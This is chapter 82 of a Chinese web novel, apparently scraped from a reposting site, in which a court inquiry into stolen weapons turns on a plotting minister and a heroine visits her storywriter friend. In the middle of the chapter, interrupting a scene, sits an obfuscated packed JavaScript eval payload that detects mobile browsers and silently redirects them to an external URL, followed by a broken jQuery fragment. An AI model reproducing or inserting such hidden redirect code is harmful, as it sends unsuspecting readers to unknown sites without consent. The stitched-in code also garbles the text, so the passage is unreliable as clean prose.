82. 话本
作品:《纯狱系哑女》 天子昨日还对大理寺的进展嘉许,何以一夜之间态度陡变,定是有人在幕后暗箱操作了。
原本志在必得的案子变成了如今三司角力、互相掣肘的漩涡。
前阵子天子任命中书舍人兼宰相李净宇接任刑部尚书一职,此人是宗室,天子的远方亲戚。而宋熙与周院长关系匪浅,是御史台实际的掌控人。
眼睁睁看着载着康诫的囚车驶出了大理寺,什么也做不了,卫庚心急如焚道:“这可怎么办?御史台会不会改弦更张,把这案子搅黄了?”
“幕后黑手打乱棋局,也不是一桩坏事,狐狸尾巴终于露出来了。”
贺兰珩淡淡敛回视线,眉峰下一双眸子深晦如海,声音压低,“这几年康诫盗卖的兵器并不是走私给吐蕃的,而是卖给神秘人的。”
卫庚闻言心神剧震,抖了抖袍袖道:“若是如此,后果可能比走私更为严重!”
盗卖兵器是从五年前开始的,也就是说,神秘人至少从五年前就开始谋划了,计算下来,此人已经私藏了数量可观的兵器,而且极有可能就囤在京畿。
贺兰珩吩咐:“你亲自带人去趟河西暗访。”
卫庚肃然领命:“下官明白,这就连夜出发。”
暮云沉沉落在大理寺檐顶,晚霞将越级而下的少女镀成了绛紫色,透过帷帽的垂纱隐隐能看见她静穆的神色。
季晚凝走出大理狱,上前道:“康诫在被带走前的最后一刻招了。”
贺兰珩侧首看她。
她把帷帽摘了下来,琉璃眸中的血丝还未褪尽,语气却平静无波:“他是受宋熙指使的。”
贺兰珩脸上并无震惊之色,他微微颔首,只道:“先回府。”
马车备好候在门外,两人出了大理寺登上车。
贺兰珩握住她冰凉的手,放在自己手里揉搓了一会儿,待回暖之后,修长骨感的五指缓缓穿过她的指缝,紧紧扣住。
季晚凝悸颤的心逐渐沉淀下来,侧目看了眼贺兰珩,暮色在他清毅的侧脸上投下晃动的阴影,而他整个人稳坐如故,沉凝得一座八风不动的雪峰。
只思忖了片刻,心里的种种疑虑与隔阂打破了,现在她对他已有了几分信任,开口道:“我手里还有一桩宋熙的把柄可以利用。”
随后便将□□一事告诉了他。
贺兰珩眸光微凝,落在她脸上,所以前阵子她和宋聿怀是在调查毒药的事。
他收紧掌心,大手完全覆盖住柔若无骨的小手,声音低沉:“我知道了,我会把康诫换回来。”
季晚凝轻轻颔首,抬眸对上他如渊的目光,那片深不见底的水域中添了几分温柔,静静映着她的脸,不动声色地将她卷进隐密的漩涡里。
她心弦冷不防被拨动了一下,微微抬起下颌,轻触在他的高挺的鼻尖上。
男人微微弯起唇角,垂下眸光。
……
贺兰珩马上便将宋熙□□一事上奏朝廷,奏抄先在中书门下过了一遍,宋熙和郑彦元都已看过才交到天子手上。
天子阅后大惊,立即在延英殿召见几位宰相商议。
宋熙要避嫌,只有郑彦元的刑部尚书李净宇在场,李净宇竭力劝说天子将宋熙和康诫一并交给刑部。
天子本欲采纳李净宇之言,但习惯性地询问了一句沉默不语的郑彦元。
郑彦元只道:“贺兰卿不偏不倚,交由大理寺便可。”
即使在这时也没有落井下石,天子喟叹了一声:“郑令公乃是纯臣。”
当即着令大理寺彻查。
同日,季晚凝乘着辆小马车来到怀贞坊,在巷口停稳后下车走进曲巷,叩响了林夙之宅子的门环。
随行的侍卫们无声地列成两队,在门外值守。
林夙之打开门,看见她眼睛一亮,忙拉她进来。
“可算把你盼来了。”她语气雀跃。
季晚凝走进小院,拂开石凳上的落英,坐下来问道:“什么事这么高兴?”
旁边的泥炉上正温着一小壶茶,壶嘴处逸出丝丝白气,冒着茶香,林夙之端起茶壶为她斟茶。
“我跟你说,这两日书肆里挤满了人,门槛都快被踏破了,都是买《炼丹坊奇案》的人。若非我事先给你留了一本,连我自己都未必能抢到。”
说话间林夙之神采奕奕。
季晚凝弯着眼睛打趣道:“看你的样子,一准是赢过那秀才了。”
林夙之放下茶壶,拿起石桌上带着油墨香的崭新话本来递给她。
“那可不,秀才虽然写得比我快,但口碑却没我的好,我的书是一传十,十传百,掌柜都乐开了花,还催着我写下一本呢。”
季晚凝打开话本,十行俱下读了一遍,确实笔底生花,将她在炼丹坊那段九死一生的经历写得波澜起伏,扣人心弦。
她由衷赞叹:“夙之,我真的为你欢喜,还好你的才华没被隐没。”
林夙之满目春光道:“当初我离开姚府,被卖入青楼,我以为自己此生只能在勾栏瓦舍里苟活了,后来二进二出靳府,我以为自己此生都要被拿捏在靳然手里了。出了靳府,我不想再靠卖艺谋生,不想再做一个依存他人之人。写话本也只是机缘巧合,却没想竟成功了,现在我手上捏着自己赚来的钱,心里踏实。”
季晚凝继续翻着话本,除了她给林夙之讲的经历以外,还隐晦地写了吴道坤当年在刑部大牢里因密信而严刑拷打陈澍的事。
当初她是想以此引出“针”,可解开密信后,贺兰珩却道破这封密信是父亲留给她的。只怕“针”并不知道密信的存在,而只有康诫一伙人知道。
她心里隐隐有些不安。
季晚凝缓缓合上书页,目光在封皮上停顿了一下,神色微敛道:“夙之,这话本的故事恐怕还有下册。”
林夙之愣了愣:“你是说康诫的私藏军械的案子?大理寺审得顺利吗?”
季晚凝捧着茶瓯,澄澈的茶汤中几片嫩绿的茶叶正在舒展沉浮。
“起初是很顺利,铁证如山,康诫也早已俯首认罪了。”
“那岂不是好事?”林夙之不解道。
季晚凝摇摇头,将茶杯轻轻放回桌上。
“前日圣人突然下诏将他移交到刑部大牢,着三司会审。康诫被押走前,供出十一年前宋熙指使他涂改了陇右军中所用的兵器编码。”
林夙之神色突然一滞,惊道:“原来当年的案子是康诫和宋熙的阴谋!”
“康诫被带走了,详情如何我暂且也不是很清楚。”季晚凝拉过她的手,指尖有些泛凉,“总之我有种不详的预感。”
林夙之的目光不由自主地飘向紧闭的大门,她压低声音道:“你担心宋熙会灭口?难怪你今日带了这么多侍卫。”
季晚凝点点头:“是我跟贺兰珩要的人。夙之,眼下我更担心的是你,那话本恐怕会引出牛鬼蛇神。我不放心你只身一人住在这里,所以我打算跟贺兰珩请示下,以陪我小住为由,将你接到府里暂避风头。”
林夙之深深吸了一口气,决绝道:“可我们的目的不正是以话本作为诱饵吗?若我躲了起来,还不如一开始就不写,落得安生。既然已经做了,我就不会怕事退缩。”
“但你若是因此身陷险境怎么办?”季晚凝语气有些焦灼,“这样,我会尽力说服贺兰珩安排不良人潜伏在你家周围,既能护你周全又能守株待兔。”
林夙之点了下头:“也好。”
“对了,还有一件重要的事,”季晚凝道,“贺兰珩说你妹妹是服毒自尽的。”
“自尽?!”林夙之瞪圆的眼睛里倏地泛起惊澜。
不及细问,院门外忽然响起一阵略显迟疑的叩门声。
两人对视一眼,林夙之起身去开门,季晚凝也跟她过去了。
“谁呀?”林夙之贴在门上警觉地问了一句。
门外传来一个爽脆略带窘迫的声音:“素儿啊,是我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403639|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林夙之舒了口气,把门打开了,门外站着一个布衣女郎,手里攥着一个空瘪瘪的旧麻袋,面色虽憔悴但眼睛里有股辛辣的劲儿。
“王露谣?!”季晚凝唤道。
王露谣眸光微转,惊道:“你是大理狱里的那个小娘子,你怎么会在这里,没被流放吗?”
“说来话长,”季晚凝道,“你叫我晚凝便好。”
林夙之笑道:“原来你们在大理狱便认识了,快请进吧。”
王露谣摇头道:“我就不进去了,跟你来借点儿粮,今年长安城里外闹旱,收成差得很,米粮的价牌翻着跟头似的涨……”
林夙之爽快道:“我囤了面麦,先借你五斗,够不够?”
“这怎么好意思,一斗就够了。”王露谣有些难为情。
林夙之点头,拿过她手里的麻袋,转身就去灶房了。
季晚凝发现王露谣没拄拐杖,便问道:“你的腿好了?”
“已经治好大半了,只是走路还会有些瘸,”王露谣露出一个宽慰的笑,“之前我还以为贺兰大理同罗逊是一类人,可后来要不是他给我请了医师治腿,如今我恐怕已经死在家里了。”
季晚凝心里微讶,去年她求贺兰珩接济王露谣,当时他态度还很冷漠强硬,却不知悄么声地暗中帮她医好了。
这时林夙之舀了满满一袋的面麦出来,道:“这些你先拿着,等秋收了再还也不迟。你腿脚不好,我帮你送到家里去吧。”
王露谣接过来道:“我厚着脸皮管你借粮,哪还有让你帮我抬的道理,这点儿东西我自己还能行。”
说罢她拎着袋子转身走了,脚步微跛。
目光她走后,林夙之轻叹一声:“再这么旱下去,不知道多少人家要断粮。”
季晚凝想到去年她刚来长安时便觉天气干旱,雨水稀少,而今年更甚,入春以来连一场雨都没下过。
“朝廷也该开仓放粮了。”
林夙之并不乐观:“去年已经放过一次粮,就怕今年连粮仓都要空了。”
“你若有什么困难,一定要告诉我。”季晚凝抬头望了望,“天色也不早了,我该走了。”
林夙之点点头:“好,你也多加小心。”
日头斜斜下沉,落在房檐上,林夙之阖上房门,拿起倚在墙角的扫帚,心不在焉地扫着院里的落花。
不多时,门外又响起了叩门声。
笃、笃、笃。
林夙之以为是王露谣还有什么事,便撇下扫帚,上前开门。
门外站着的却是一个全然陌生的男子,穿着不起眼的褐衣,头戴斗笠,只露出半张脸。
林夙之心里猛地一跳,暗暗责怪自己疏忽大意了,立马将门关上。
说时迟那时快,那男子伸手一挡,留下一道门缝。
低沉粗粝的声音从斗笠下面传来:“夙语琴士,林夙之。”
……
这边季晚凝的马车晃晃悠悠地行驶在官道上,侍卫跟随在马车周围。这会儿街上车马行人不多,还没到拥堵的时辰。
行至半路,突然车夫大声“吁”了一下,马儿猝不及防地刹住了脚。
季晚凝撩开车帘往外看去,只见一群官差拦住了去路。
她蹙了蹙眉,心里飞快地盘算,她也没有犯法,这群人应该不是来抓她的吧。
这时季晚凝听见为首的官差道:“御史台办案,车上之人可是季晚凝?”
她推开马车的门,道:“是我,敢问我犯了什么罪?”
官差拿出一张缉捕令来,喝道:“你擅入大理狱,审问囚犯,妨碍公事,僭越冒渎律法,跟我回御史台受审!”
原来是为康诫案而来,昨日刚改为三司会审,今日御史台就出手了,不知是冲着她来的,还是冲着贺兰珩。
官差催促道:“还不下车,我们就亲自动手了!”
季晚凝定了定心神,下车走上前道:“不劳烦你们,我自己走。”

